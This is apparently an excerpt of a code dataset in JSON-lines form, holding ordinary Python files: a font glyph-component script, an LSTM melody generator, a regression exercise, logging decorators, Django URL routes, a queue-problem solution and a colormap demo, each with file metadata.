plistlib.readPlist(comp_dir_path)\n\t#\n\tneeded_glifs = list(pl)\n\t#\n\t#\n\trun_base = get_base_glif_contours(_dir_glif, needed_glifs)\n\tbase_contours = run_base[0]\n\t#\n\tfor o,p in pl.items():\n\t\t#\n\t\tglif_info = get_base_glif_width(_dir_glif, o)\n\t\t#\n\t\tto_replace = list(p)\n\t\t#\n\t\tto_replace.pop(0)\n\t\t#\n\t\trun_rep = get_base_glif_contours(_dir_glif, to_replace)\n\t\tget_contours_to_rep = run_rep[0]\n\t\t#\n\t\tg_width = glif_info[1]\n\t\t#\n\t\tbase_conts = base_contours.get(o)\n\t\t#\n\t\tfor u,t in get_contours_to_rep.items():\n\t\t\t#\n\t\t\tprint('=======================')\n\t\t\tprint('BASE: ',o)\n\t\t\tprint('INFO: ',glif_info)\n\t\t\tprint('COMP: ',u)\n\t\t\tprint('_______________________')\n\t\t\t#\n\t\t\tu_name = u\n\t\t\tall_accents = []\n\t\t\t#\n\t\t\tglif_info_inner = get_base_glif_width(_dir_glif, u)\n\t\t\t#\n\t\t\tc_acc_b = check_accents(u_name, comb_bot, comb_bot_rebase, _dir_glif, t[2], 'bot', glif_info_inner)\n\t\t\tcheck_bot = c_acc_b[0]\n\t\t\tall_accents.append(c_acc_b[1])\n\t\t\t#\n\t\t\tc_acc_t = check_accents(u_name, comb_top, comb_top_rebase, _dir_glif, t[2], 'top', glif_info_inner)\n\t\t\t#\n\t\t\tif c_acc_t[1] in all_accents:\n\t\t\t\t#\n\t\t\t\tcheck_top = ''\n\t\t\t\t#\n\t\t\telse:\n\t\t\t\t#\n\t\t\t\tcheck_top = c_acc_t[0]\n\t\t\t\t#\n\t\t\t#\n\t\t\t#\n\t\t\tall_accents = check_top+'\\n    '+check_bot\n\t\t\t#\n\t\t\tbase_cont = base_conts[1]\n\t\t\trep_cont = t[1]\n\t\t\t#\n\t\t\tdiff_ratio = difflib.SequenceMatcher(a=base_cont,b=rep_cont).ratio()\n\t\t\t#\n\t\t\tif diff_ratio == 1:\n\t\t\t\t#\n\t\t\t\tmatch_cont = ''\n\t\t\t\tadd_comp = '\\n    <component base=\"{0}\"/>'.format(o)\n\t\t\t\t#\n\t\t\telse:\n\t\t\t\t#\n\t\t\t\tmatch_cont = get_matching_contour(base_cont, rep_cont)\n\t\t\t\t#\n\t\t\t\tif len(check_top+check_bot) > 0:\n\t\t\t\t\t#\n\t\t\t\t\tmatch_cont = ''\n\t\t\t\t\tadd_comp = '\\n    <component base=\"{0}\"/>\\n    {1}'.format(o, all_accents)\n\t\t\t\t\t#\n\t\t\t\telse:\n\t\t\t\t\t#\n\t\t\t\t\tadd_comp = '\\n    <component base=\"{0}\"/>'.format(o)\n\t\t\t\t\t#\n\t\t\t\t#\n\t\t\t\tglif_now_loc = os.path.join(_dir_glif,t[0])\n\t\t\t\t#\n\t\t\t#\n\t\t\treplacement_contour = add_comp+match_cont\n\t\t\t#\n\t\t\ttarget_glif = os.path.join(_dir_glif, t[0])\n\t\t\tbase_glif = os.path.join(_dir_glif, base_conts[0])\n\t\t\t#\n\t\t\treplace_contour(replacement_contour, target_glif, False)\n\t\t\t#\n\t\t\tall_combs = comb_top + comb_top_rebase + comb_bot + comb_bot_rebase\n\t\t\t#\n\t\t\tif o not in all_combs and u not in all_combs:\n\t\t\t\t#\n\t\t\t\tif glif_info[0][0].isupper() and glif_info[0][0] not in tall_small_case:\n\t\t\t\t\t#\n\t\t\t\t\tpos_y = base_top_accent_tall_pos_y\n\t\t\t\t\t#\n\t\t\t\telse:\n\t\t\t\t\t#\n\t\t\t\t\tpos_y = base_top_accent_short_pos_y\n\t\t\t\t\t#\n\t\t\t\t#\n\t\t\t\tprint('FIXING POS', pos_y, glif_info[0])\n\t\t\t\t#\n\t\t\t\tcenter_pos_x = int(g_width/2)\n\t\t\t\togonek_pos_x = int(g_width/3) + int(g_width/6) \n\t\t\t\t#\n\t\t\t\t#\n\t\t\t\tif glif_info[0][0].isupper() == False and glif_info[0][0] not in tall_small_case:\n\t\t\t\t\t#\n\t\t\t\t\tpos_tonos_y = pos_y\n\t\t\t\t\tpos_tonos_x = center_pos_x\n\t\t\t\t\t#\n\t\t\t\telse:\n\t\t\t\t\t#\n\t\t\t\t\tpos_tonos_y = base_top_accent_tall_tonos_pos_y\n\t\t\t\t\tpos_tonos_x = int(g_width/6) \n\t\t\t\t\tpos_y = base_top_accent_tall_pos_y\n\t\t\t\t\t#\n\t\t\t\t#\n\t\t\t\tbase_anchors_calc = base_anchors.format(center_pos_x, pos_y, ogonek_pos_x, pos_tonos_x, pos_tonos_y)\n\t\t\t\t#\n\t\t\t\treplace_contour(base_cont+base_anchors_calc, base_glif, False)\n\t\t\t\t#\n\t\t\t#\n\t\t#\n\t#\n#\n#\nufo_src_path = input(\"Directory of UFO file: \")\n#\ncomp_class_file = input(\"components class group plist file: \")\n#\nrun_ufo_glyphs(comp_class_file, ufo_src_path)\n#\nprint('NOT EXISTING GLYPHS')\nprint(non_exist)", "repo_name": "VivaRado/VRD-Typography-Library", "sub_path": "Lib/old_scripts/component_scripts/comp_ufo.py", "file_name": "comp_ufo.py", "file_ext": "py", "file_size_in_byte": 14917, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "readline.parse_and_bind", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 21, "usage_type": "attribute"}, {"api_name": "readline.read_history_file", "line_number": 23, "usage_type": "call"}, {"api_name": "atexit.register", "line_number": 26, "usage_type": "call"}, {"api_name": "readline.write_history_file", "line_number": 26, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 174, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 214, "usage_type": "call"}, {"api_name": "re.search", "line_number": 220, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 249, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 268, "usage_type": "call"}, {"api_name": "os.path", "line_number": 268, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 269, "usage_type": "call"}, {"api_name": "os.path", "line_number": 269, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 271, "usage_type": "call"}, {"api_name": "os.path", "line_number": 271, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 273, "usage_type": "call"}, {"api_name": "os.path", "line_number": 273, "usage_type": "attribute"}, {"api_name": "lxml.etree.XMLParser", "line_number": 413, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 413, "usage_type": "name"}, {"api_name": "lxml.html.fromstring", "line_number": 415, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 415, "usage_type": "name"}, {"api_name": "lxml.html.fromstring", "line_number": 416, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 416, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 425, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 425, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 430, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 430, "usage_type": "name"}, {"api_name": "difflib.SequenceMatcher", "line_number": 433, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 594, "usage_type": "call"}, {"api_name": "os.path", "line_number": 594, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 594, "usage_type": "call"}, {"api_name": "plistlib.readPlist", "line_number": 596, "usage_type": "call"}, {"api_name": "difflib.SequenceMatcher", "line_number": 653, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 674, "usage_type": "call"}, {"api_name": "os.path", "line_number": 674, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 679, "usage_type": "call"}, {"api_name": "os.path", "line_number": 679, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 680, "usage_type": "call"}, {"api_name": "os.path", "line_number": 680, "usage_type": "attribute"}]}
{"seq_id": "41197989646", "text": "import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport random\nfrom shutil import copyfile\nfrom music21 import converter, instrument, note, chord, stream, midi\nfrom tqdm import tqdm\nimport os\nimport sys\nimport glob\nimport math \nimport tensorflow as tf\n\nfrom tensorflow.keras import layers, Sequential\nfrom tensorflow.keras.layers import Dropout, LSTM, Activation, Embedding, Dense\n\n# Inspired from: https://github.com/cpmpercussion/creative-prediction/blob/master/notebooks/3-zeldic-musical-RNN.ipynb\n\nDURATION = 0.25\nMELODY_NOTE_OFF = 128 # (stop playing all previous notes)\nMELODY_NO_EVENT = 129 # (no change from previous event)\n\ndef transform_element(element):\n  \"\"\" Transform music21 Note or Chord element into array form\n  \"\"\"\n  if isinstance(element, note.Note):\n    return [np.round(element.offset / DURATION),\n            np.round(element.quarterLength / DURATION),\n            element.pitch.midi]\n\n  return [np.round(element.offset / DURATION),\n          np.round(element.quarterLength / DURATION),\n          element.sortAscending().pitches[-1].midi]\n\ndef is_note_or_chord(element):\n  return isinstance(element, (note.Note, chord.Chord))\n\ndef parse_to_df(midi):\n  stream_info = np.array([transform_element(e) for e in midi.flat if is_note_or_chord(e)],\n                         dtype=np.int)\n  df = pd.DataFrame({'offset': stream_info[:, 0],\n                     'duration': stream_info[:, 1],\n                     'pitch': stream_info[:, 2]})\n  df = df.sort_values(['offset','pitch'], ascending=[True, False]) # sort the dataframe properly\n  df = df.drop_duplicates(subset=['offset']) # drop duplicate value\n  return df\n\ndef parse_to_np(file):\n  song = converter.parse(file)\n  df = parse_to_df(song)\n  total_length = np.int(np.round(song.flat.highestTime / 0.25))\n  # Fill in the output list\n  output = np.full(total_length + 1, MELODY_NO_EVENT,  dtype=np.int16)\n  for i in range(total_length):\n    if not df[df.offset==i].empty:\n      n = df[df.offset==i].iloc[0] # pick the highest pitch at each semiquaver\n      output[i] = n.pitch # set note on\n      if i + n.duration < len(output):\n        output[i+n.duration] = MELODY_NOTE_OFF\n  return output\n\ndef np_to_df(song_data):\n  df = pd.DataFrame({'pitch': song_data})\n  df['offset'] = df.index\n  df = df[df.pitch != MELODY_NO_EVENT].reset_index(drop=True)\n  df['duration'] = - df['offset'].diff(-1)\n  df = df[:-1]\n  df['duration'] = df.duration.astype(np.int16)\n  return df[['offset', 'duration', 'pitch']]\n\ndef decode_to_stream(song_data, filename=None):\n  df = np_to_df(song_data)\n  melody_stream = stream.Stream()\n  for _, row in df.iterrows():\n    if row.pitch == MELODY_NO_EVENT or row.pitch == MELODY_NOTE_OFF:\n      new_note = note.Rest()\n    else:\n      new_note = note.Note(row.pitch)\n    new_note.quarterLength = row.duration * 0.25\n    melody_stream.append(new_note)\n  if filename:\n    melody_stream.write('midi', fp=f'./music_data/output/{filename}')\n  return melody_stream\n\n# %%\nMINIMUM_NOTE = 0\nVOCABULARY_SIZE = 130 - MINIMUM_NOTE\nSEQUENCE_SIZE = 30\nBATCH_SIZE = 64\nHIDDEN_UNITS = 356\nTRAIN_FILE = './train_data.npz'\n\n# %%\n# Build the decoding model\ndef detransform(data):\n  return data + MINIMUM_NOTE\n\ndef create_decode_model():\n  decoding_model = Sequential()\n  decoding_model.add(layers.Embedding(VOCABULARY_SIZE, HIDDEN_UNITS, batch_input_shape=(1, 1)))\n  decoding_model.add(LSTM(HIDDEN_UNITS, stateful=True, return_sequences=True))\n  decoding_model.add(LSTM(HIDDEN_UNITS, stateful=True))\n  decoding_model.add(Dense(HIDDEN_UNITS // 2))\n  decoding_model.add(Dense(VOCABULARY_SIZE, activation='softmax'))\n  decoding_model.compile(loss='sparse_categorical_crossentropy', optimizer='adam')\n  return decoding_model\n\n# Inspired from: https://github.com/cpmpercussion/creative-prediction/blob/master/notebooks/3-zeldic-musical-RNN.ipynb\ndef sample(preds, temperature=1.0):\n  \"\"\" helper function to sample an index from a probability array\"\"\"\n  preds = np.asarray(preds).astype('float64')\n  preds = np.log(preds) / temperature\n  exp_preds = np.exp(preds)\n  preds = exp_preds / np.sum(exp_preds)\n  probas = np.random.multinomial(1, preds, 1)\n  return np.argmax(probas)\n\n\ndef sample_model(seed, model_name, length=500, temperature=1.0):\n  '''Samples a musicRNN given a seed sequence.'''\n  generated = []\n  generated.append(seed)\n  next_index = seed\n  for i in tqdm(range(length)):\n    x = np.array([next_index])\n    x = np.reshape(x, (1, 1))\n    preds = model_name.predict(x, verbose=0)[0]\n    next_index = sample(preds, temperature)\n    generated.append(next_index)\n  return np.array(generated, dtype=np.int16)\n\ndef write_song(seed, weights_file, output_file):\n  decoding_model = create_decode_model()\n  decoding_model.load_weights(weights_file)\n  decoding_model.reset_states() # Start with LSTM state blank\n  ai_music = detransform(sample_model(seed - MINIMUM_NOTE, decoding_model))\n  melody_stream = decode_to_stream(ai_music)\n  melody_stream.write('midi', fp=output_file)\n  return melody_stream\n\nif len(sys.argv) != 2:\n  print(\"Help: python music_generator.py {trained_epochs}\")\n\nnum = sys.argv[1]\nmelody = write_song(\n    64,\n    f'./checkpoints/final-train-{num}.h5',\n    f'./results/song-{num}.mid')\nprint(f'song-{num}.mid was created in the results folder')\n", "repo_name": "TrCaM/Music-Generator", "sub_path": "music_generator.py", "file_name": "music_generator.py", "file_ext": "py", "file_size_in_byte": 5259, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "music21.note.Note", "line_number": 26, "usage_type": "attribute"}, {"api_name": "music21.note", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 32, "usage_type": "call"}, {"api_name": "music21.note.Note", "line_number": 36, "usage_type": "attribute"}, {"api_name": "music21.note", "line_number": 36, "usage_type": "name"}, {"api_name": "music21.chord.Chord", "line_number": 36, "usage_type": "attribute"}, {"api_name": "music21.chord", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "music21.midi.flat", "line_number": 39, "usage_type": "attribute"}, {"api_name": "music21.midi", "line_number": 39, "usage_type": "name"}, {"api_name": "numpy.int", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 41, "usage_type": "call"}, {"api_name": "music21.converter.parse", "line_number": 49, "usage_type": "call"}, {"api_name": "music21.converter", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.int", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.int16", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.int16", "line_number": 68, "usage_type": "attribute"}, {"api_name": "music21.stream.Stream", "line_number": 73, "usage_type": "call"}, {"api_name": "music21.stream", "line_number": 73, "usage_type": "name"}, {"api_name": "music21.note.Rest", "line_number": 76, "usage_type": "call"}, {"api_name": "music21.note", "line_number": 76, "usage_type": "name"}, {"api_name": "music21.note.Note", "line_number": 78, "usage_type": "call"}, {"api_name": "music21.note", "line_number": 78, "usage_type": "name"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Embedding", "line_number": 100, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 100, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.LSTM", "line_number": 101, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.LSTM", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 103, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.random.multinomial", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 116, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.int16", "line_number": 130, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 141, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 144, "usage_type": "attribute"}]}
{"seq_id": "12621387898", "text": "# Multiple Linear Regression\r\n\r\n# Importing the libraries\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n# Importing the dataset\r\ndataset = pd.read_csv('50_Startups.csv')\r\nX = dataset.iloc[:, :-1].values\r\ny = dataset.iloc[:, 4].values\r\n\r\n# Encoding categorical data\r\n# Encoding the Independent Variable\r\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\r\nlabelencoder_X = LabelEncoder()\r\nX[:, 3] = labelencoder_X.fit_transform(X[:, 3])\r\nonehotencoder = OneHotEncoder(categorical_features = [3])\r\nX = onehotencoder.fit_transform(X).toarray()\r\n\r\n# Avoiding the Dummy Variable Trap\r\nX = X[:, 1:]\r\n\r\n# Splitting the dataset into the Training set and Test set\r\nfrom sklearn.cross_validation import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\r\n\r\n# Feature Scaling\r\n\"\"\"from sklearn.preprocessing import StandardScaler\r\nsc_X = StandardScaler()\r\nX_train = sc_X.fit_transform(X_train)\r\nX_test = sc_X.transform(X_test)\r\nsc_y = StandardScaler()\r\ny_train = sc_y.fit_transform(y_train)\"\"\"\r\n\r\n# Fitting Multiple Linear Regression to the Training Set\r\nfrom sklearn.linear_model import LinearRegression\r\nregressor = LinearRegression()\r\nregressor.fit(X_train, y_train) #this fits the regressor to the argument data\r\n\r\n# Predicting the Test Set results\r\ny_pred = regressor.predict(X_test)\r\n\r\n# Building the optimal model using Backward Elimination\r\nimport statsmodels.formula.api as sm\r\n#need to add a column of 1s because statsmodels doesn't see initial b term\r\n# the values get added to the right of the array parameter\r\nX = np.append(arr = np.ones((50,1)).astype(int), values = X, axis = 1)\r\n\r\n#create a new matrix of features that has optimal independent variables\r\n#that are statistically significant\r\nX_opt = X[:, [0, 1, 2, 3, 4, 5]]\r\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\n\r\n#now that the regressor has been modeled to X_opt, we need to check p value\r\n#remove the highest value over our significance level (if there is one)\r\nregressor_OLS.summary()\r\n\r\n#x2 is at 99% so we need to remove it...and refit it to the model.\r\nX_opt = X[:, [0, 1, 3, 4, 5]]\r\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\nregressor_OLS.summary()\r\n\r\n#index 1 is still way above accepted SL of 5%, so remove it and refitting data again\r\nX_opt = X[:, [0, 3, 4, 5]]\r\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\nregressor_OLS.summary()\r\n\r\n#index 2 is above the SL level still (note x2 in iPython console is the third column\r\n# and in our X_opt it is the number 4)\r\nX_opt = X[:, [0, 3, 5]]\r\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\nregressor_OLS.summary()\r\n\r\n#The third index is at 6% (above the 5% significance level) so let's remove \r\n#for practice\r\nX_opt = X[:, [0, 3]]\r\nregressor_OLS = sm.OLS(endog = y, exog = X_opt).fit()\r\nregressor_OLS.summary()\r\n#note p value is 0 (but it technically can't be zero) it is just very small\r\n#so there is a great correlation between this variable and outcome\r\n#in this case R&D and profit\r\n\r\n\r\n\r\n\r\n", "repo_name": "dominic-m/Machine-Learning-A-Z", "sub_path": "Python/multiple_linear_regression_mine.py", "file_name": "multiple_linear_regression_mine.py", "file_ext": "py", "file_size_in_byte": 3053, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.train_test_split", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 48, "usage_type": "call"}, {"api_name": "statsmodels.formula.api.OLS", "line_number": 53, "usage_type": "call"}, {"api_name": "statsmodels.formula.api", "line_number": 53, "usage_type": "name"}, {"api_name": "statsmodels.formula.api.OLS", "line_number": 61, "usage_type": "call"}, {"api_name": "statsmodels.formula.api", "line_number": 61, "usage_type": "name"}, {"api_name": "statsmodels.formula.api.OLS", "line_number": 66, "usage_type": "call"}, {"api_name": "statsmodels.formula.api", "line_number": 66, "usage_type": "name"}, {"api_name": "statsmodels.formula.api.OLS", "line_number": 72, "usage_type": "call"}, {"api_name": "statsmodels.formula.api", "line_number": 72, "usage_type": "name"}, {"api_name": "statsmodels.formula.api.OLS", "line_number": 78, "usage_type": "call"}, {"api_name": "statsmodels.formula.api", "line_number": 78, "usage_type": "name"}]}
{"seq_id": "17645772517", "text": "# 아래 코드는 제가 열심히 시도하다가 지쳐서 구글링으로 해결한 코드입니다...\n# 이해하기 전까지는 커밋 안 올리는데 방금 막 이해해서 커밋합니드아\n\nfrom collections import deque\nimport sys\n\nt = int(input())\n\nfor i in range(t):\n    n, m = map(int, input().split())\n    queue = deque(list(map(int, sys.stdin.readline().split())))\n    count = 0\n    while queue:\n        best = max(queue)  #현재의 최댓값이 가장 먼저 배출되므로 최댓값을 저장\n        front = queue.popleft() # 큐의 front를 뽑았으므로\n        m -= 1 # 내 위치가 한 칸 당겨진다.\n\n        if best == front: # 뽑은 숫자가 제일 큰 숫자일 때\n            count += 1 # 하나가 영원히 배출되므로 순번 하나 추가\n            if m < 0: # m이 0이라는 것은 뽑은 숫자가 내 숫자라는 뜻.\n                print(count)\n                break\n\n        else:   # 뽑은 숫자가 제일 큰 숫자가 아니면\n            queue.append(front) # 제일 뒤로 밀려나게 됨\n            if m < 0 :  # 제일 앞에서 뽑히면\n                m = len(queue) - 1 # 제일 뒤로 이동", "repo_name": "Techeer-3rd-gen-study/Algorithm-study", "sub_path": "05주차_11.1_11.7/2_1966/박수현_1966.py", "file_name": "박수현_1966.py", "file_ext": "py", "file_size_in_byte": 1166, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.deque", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.stdin.readline", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 11, "usage_type": "attribute"}]}
{"seq_id": "33402017406", "text": "\"\"\"\nThis is a file which contains decorators\n\"\"\"\nimport logging\nfrom functools import wraps\n\n\n# pylint: disable = unspecified-encoding\n# pylint: disable = raise-missing-from\n# pylint: disable = broad-exception-caught\n# pylint: disable = inconsistent-return-statements\ndef write_dictionary_of_kwargs(func):\n    \"\"\"\n    This is decorator which write to file\n    dictionary of key value arguments\n    :param func:\n    :return: func\n    \"\"\"\n\n    def wrapper(*args, **kwargs):\n        file_path = \"D:/python_labs/Zoo/files/Aattr.txt\"\n        with open(file_path, \"a\") as file:\n            func_name = func.__name__\n            file.write(func_name)\n            file.write(\": \")\n            for key, value in kwargs.items():\n                arguments = f\"{key} = {value}\"\n                line = f\"{arguments},\"\n                file.write(line)\n            file.write(\"\\n\")\n        return func(*args, **kwargs)\n\n    return wrapper\n\n\ndef exception_writer(func):\n    \"\"\"\n        This is decorator which write to file\n        exception and method in which this exception cause\n        :param func:\n        :return: func\n        \"\"\"\n\n    def wrapper(*args, **kwargs):\n        file_path = \"D:/python_labs/Zoo/files/ex.txt\"\n        try:\n            result = func(*args, **kwargs)\n        except Exception as exc:\n            with open(file_path, 'a') as file:\n                file.write(f\"Method: {func.__name__}, Exception: {type(exc).__name__}\\n\")\n            raise exc\n        return result\n\n    return wrapper\n\n\ndef logged(exception, mode):\n    \"\"\"\n    This is a decorator which writes exceptions to a file or\n    prints them in the console.\n    \"\"\"\n    def decorator(func):\n        @wraps(func)\n        def wrapper(*args, **kwargs):\n            try:\n                return func(*args, **kwargs)\n            except exception as exc:\n                logger = logging.getLogger(func.__name__)\n\n                if mode == \"console\":\n                    console_handler = logging.StreamHandler()\n                    console_handler.setLevel(logging.ERROR)\n                    logger.addHandler(console_handler)\n                    logger.error(exc)\n                    logger.removeHandler(console_handler)\n                elif mode == \"file\":\n                    file_handler = logging.FileHandler(\"log.txt\")\n                    file_handler.setLevel(logging.ERROR)\n                    logger.addHandler(file_handler)\n                    logger.error(exc)\n                    logger.removeHandler(file_handler)\n                else:\n                    raise ValueError(\"Invalid logging mode. Please choose 'console' or 'file'.\")\n\n\n\n        return wrapper\n\n    return decorator\n", "repo_name": "AndrewHeats/python_labs", "sub_path": "Zoo/decorators/decorators.py", "file_name": "decorators.py", "file_ext": "py", "file_size_in_byte": 2666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 68, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 71, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 72, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 77, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 78, "usage_type": "attribute"}, {"api_name": "functools.wraps", "line_number": 63, "usage_type": "call"}]}
{"seq_id": "19286742524", "text": "\nfrom django.urls import path\nfrom . import views\nurlpatterns = [\n    path('', views.index, name=''),\n    path('delete/<int:pk>', views.delete_student, name='delete'),\n    path('add', views.add, name='add'),\n    path('register', views.register, name='register'),\n    path('login', views.login_page, name='login'),\n    path('logout', views.logout, name='logout')\n\n\n]", "repo_name": "Cinnamonfir/students-portal", "sub_path": "app/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 365, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "3301982424", "text": "import sys\nsys.path.insert(0,'..')\n\nfrom mplkit.cmap import *\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import Normalize\nfrom matplotlib.colorbar import ColorbarBase\n\ncmap = matplotlib.cm.Blues\nid_cmap = WrappedColormap(cmap)\ninv_cmap = InvertedColormap(cmap)\nmono_cmap = DesaturatedColormap(cmap)\nrev_cmap = ReversedColormap(cmap)\ncat_cmap = ConcatenatedColormap(cmap,0.2,inv_cmap,0.8,mono_cmap)\nnorm = Normalize(vmin=0, vmax=1)\n\ncmap(1)\nid_cmap(1)\ninv_cmap(1)\nmono_cmap(1)\nrev_cmap(1)\ncat_cmap(1)\n\nplt.subplot(6,1,1)\nplt.title(\"Normal\")\ncb1 = ColorbarBase(plt.gca(), cmap=cmap,\n\t\t\t\t\t\t\t\t   norm=norm,\n\t\t\t\t\t\t\t\t   orientation='horizontal')\n\nplt.subplot(6,1,2)\nplt.title(\"Wrapped\")\ncb1 = ColorbarBase(plt.gca(), cmap=id_cmap,\n\t\t\t\t\t\t\t\t   norm=norm,\n\t\t\t\t\t\t\t\t   orientation='horizontal')\n\nplt.subplot(6,1,3)\nplt.title(\"Inverted\")\ncb1 = ColorbarBase(plt.gca(), cmap=inv_cmap,\n\t\t\t\t\t\t\t\t   norm=norm,\n\t\t\t\t\t\t\t\t   orientation='horizontal')\n\nplt.subplot(6,1,4)\nplt.title(\"Monochromed\")\ncb1 = ColorbarBase(plt.gca(), cmap=mono_cmap,\n\t\t\t\t\t\t\t\t   norm=norm,\n\t\t\t\t\t\t\t\t   orientation='horizontal')\n\nplt.subplot(6,1,5)\nplt.title(\"Reversed\")\ncb1 = ColorbarBase(plt.gca(), cmap=rev_cmap,\n\t\t\t\t\t\t\t\t   norm=norm,\n\t\t\t\t\t\t\t\t   orientation='horizontal')\n\nplt.subplot(6,1,6)\nplt.title(\"Concatenated\")\ncb1 = ColorbarBase(plt.gca(), cmap=cat_cmap,\n\t\t\t\t\t\t\t\t   norm=norm,\n\t\t\t\t\t\t\t\t   orientation='horizontal')\n\nplt.tight_layout()\nplt.savefig('cmap.pdf')\n", "repo_name": "matthewwardrop/python-mplkit", "sub_path": "examples/cmap.py", "file_name": "cmap.py", "file_ext": "py", "file_size_in_byte": 1469, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.insert", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "matplotlib.cm", "line_number": 11, "usage_type": "attribute"}, {"api_name": "matplotlib.colors.Normalize", "line_number": 17, 